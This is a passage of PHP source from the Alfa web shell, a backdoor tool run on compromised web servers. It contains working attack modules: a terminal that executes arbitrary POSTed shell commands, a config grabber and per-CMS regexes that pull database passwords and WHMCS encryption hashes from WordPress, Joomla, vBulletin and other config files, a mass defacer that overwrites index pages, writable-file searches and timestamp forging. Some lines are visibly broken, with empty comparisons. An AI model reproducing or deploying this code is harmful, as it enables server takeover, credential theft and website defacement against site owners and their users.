echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function alfaarchive_manager(){
alfahead();
$file = $_POST['alfa2'];
if(!file_exists($file)){
$file = $GLOBALS['cwd'];
}
$rand_id = rand(9999, 999999);
echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
<input type="submit" name="btn" value=" "></div></form></center><br>';
if($_POST['alfa5']=='>>'){
//echo __pre();
echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
__alfa_open_archive_file($file, $rand_id);
echo '</div>';
}
echo '</div>';
alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
try{
$files = array();
$dirs = array();
$archive = new PharData($arch);
foreach($archive as $file) {
$file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
if($file->isDir()) {
$dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
}else{
$file_size = @filesize($file->getPathname());
$files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
}
}
function __alfa_open_archive_usort($a, $b){
return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
}
usort($dirs, "__alfa_open_archive_usort");
usort($files, "__alfa_open_archive_usort");
$files = array_merge($dirs, $files);
echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
$icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
foreach($files as $file){
$icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
if($file["type"] == "dir"){
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
}else{
echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";
}
}
echo '</table>';
}catch(Exception $e){
echo("0");
}
}
function alfaopen_archive_dir(){
$dir = $_POST["alfa1"];
$base_id = $_POST["alfa2"];
__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
if($_POST['alfa5']=='>>'){
echo __pre();
Alfa_ConfigGrabber($dir, $ext);
}
echo '</div>';
alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
if(@is_readable($dir)){
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_ConfigGrabber($dir, $ext);
}
foreach ($globFiles as $file){
$filee = @file_get_contents($file);
if(preg_match($pattern, $filee)){
echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
}
}
}
}
function alfasearcher(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if($_POST['alfa5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST['alfa1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
}
}
echo '</div>';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['alfa4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == )continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
alfafooter();
}
function Alfa_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == )continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir." <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc(){
alfahead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
echo '</div>';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
function json_encode($a=false){
if (is_null($a)) return 'null';
if ($a === false) return 'false';
if ($a === true) return 'true';
if (is_scalar($a))
{
if (is_float($a))
{
return floatval(str_replace(",", , strval($a)));
}
if (is_string($a))
{
static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
}
else
return $a;
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a))
{
if (key($a) !== $i)
{
$isList = false;
break;
}
}
$result = array();
if ($isList)
{
foreach ($a as $v) $result[] = json_encode($v);
return '[' . join(',', $result) . ']';
}
else
{
foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
return '{' . join(',', $result) . '}';
}
}
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
$comment = false;
$out = '$x=';
for ($i=0; $i<strlen($json); $i++)
{
if (!$comment)
{
if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
else if ($json[$i] == ':'){$out .= '=>';}
else {$out .= $json[$i];}
}
else $out .= $json[$i];
if ($json[$i] == '"')$comment = !$comment;
}
eval($out . ';');
return $x;
}
}
function alfaterminalExec(){
$pwd = "pwd";
$seperator = ";";
if($GLOBALS['sys']!='unix'){
$pwd = "cd";
$seperator = "&";
}
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
$current_path = '';
if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
if(empty($match[1])){
$match[1] = $match[2];
}
$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
$current_path = str_replace("\\", "/", $current_path);
}
$out = alfaEx($cmd.$_POST['alfa1'], true);
$out = htmlspecialchars($out);
echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
$dictionary = array(
'[01;30m' => '<span style="color:black">',
'[01;31m' => '<span style="color:red">',
'[01;32m' => '<span style="color:green">',
'[01;33m' => '<span style="color:yellow">',
'[01;34m' => '<span style="color:blue">',
'[01;35m' => '<span style="color:purple">',
'[01;36m' => '<span style="color:cyan">',
'[01;37m' => '<span style="color:white">',
'[0m' => '</span>'
);
$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
return $htmlString;
}
function alfadoActions(){
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$alfa_canruncmd = _alfa_can_runCommand(true,true);
}
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
$action = $_POST["alfa3"];
if($action == "permission"){
$perms = 0;
$perm = $_POST["alfa2"];
for($i=strlen($perm)-1;$i>=0;--$i){
$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
}
if(@chmod($_POST['alfa1'], $perms)){
echo("done");
}else{
echo("no");
}
return;
}
if($action == "rename" || $action == "move"){
$alfa1_decoded = $_POST['alfa1'];
if($chdir_fals){
$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
}
$_POST['alfa1'] = trim($_POST['alfa1']);
$alfa1_escape = addslashes($_POST["alfa1"]);
if($_POST["alfa3"] == "rename"){
$_POST['alfa2'] = basename($_POST['alfa2']);
}
if(!empty($_POST['alfa2'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$cmd_rename = true;
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
}
}
if(!file_exists($_POST['alfa2'])){
if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
echo "done";
}else{
echo "no";
}
}else{
echo "no";
}
}
}elseif($action == "copy"){
if(is_dir($_POST["alfa1"])){
$dir = str_replace('//', '/', $_POST["alfa1"]);
$dir = explode('/', $dir);
if(empty($dir[count($dir) - 1])){
$name = $dir[count($dir) - 2];
}else{
$name = $dir[count($dir) - 1];
}
}else{
$name = basename($_POST["alfa1"]);
}
$dir = dirname($_POST["alfa1"]);
if($dir == ){
$dir = $_POST["c"]."/";
}
if(is_file($_POST["alfa1"])){
@copy($_POST["alfa1"], $_POST["alfa2"]);
echo("done");
}elseif(is_dir($_POST["alfa1"])){
if(!is_dir($_POST["alfa2"])){
mkdir($_POST["alfa2"], 0755, true);
}
copy_paste($dir, $name , $_POST["alfa2"] . "/");
echo("done");
}
}elseif($action == "modify"){
if( !empty($_POST['alfa1']) ) {
$time = strtotime($_POST['alfa1']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
$touched = true;
}
if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
echo 'no';
}else{
echo 'ok';
}
} else{
echo 'badtime';
}
}
}
}
function alfaget_flags(){
$flags = array();
if(function_exists("curl_version")){
$curl = new AlfaCURL();
$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
if(strpos($flag2, "geoplugin") != false){
$flag = json_decode($flag, true);
$flag2 = json_decode($flag2, true);
if(!empty($flag['geoplugin_countryCode'])){
$flags["server"]["name"] = $flag['geoplugin_countryName'];
$flags["server"]["code"] = $flag['geoplugin_countryCode'];
}
if(!empty($flag2['geoplugin_countryCode'])){
$flags["client"]["name"] = $flag2['geoplugin_countryName'];
$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
}
}
}
echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_alfa_is_dir($file,"-e")){
}else{
$cms = 'drupal2';
}
}
if($cms == "vb"){
$file = $config[$cms]['file'];
$file=$path.$file;
if(@is_file($file)||_alfa_is_dir($file,"-e")){
}else{
$path .= '/core';
}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
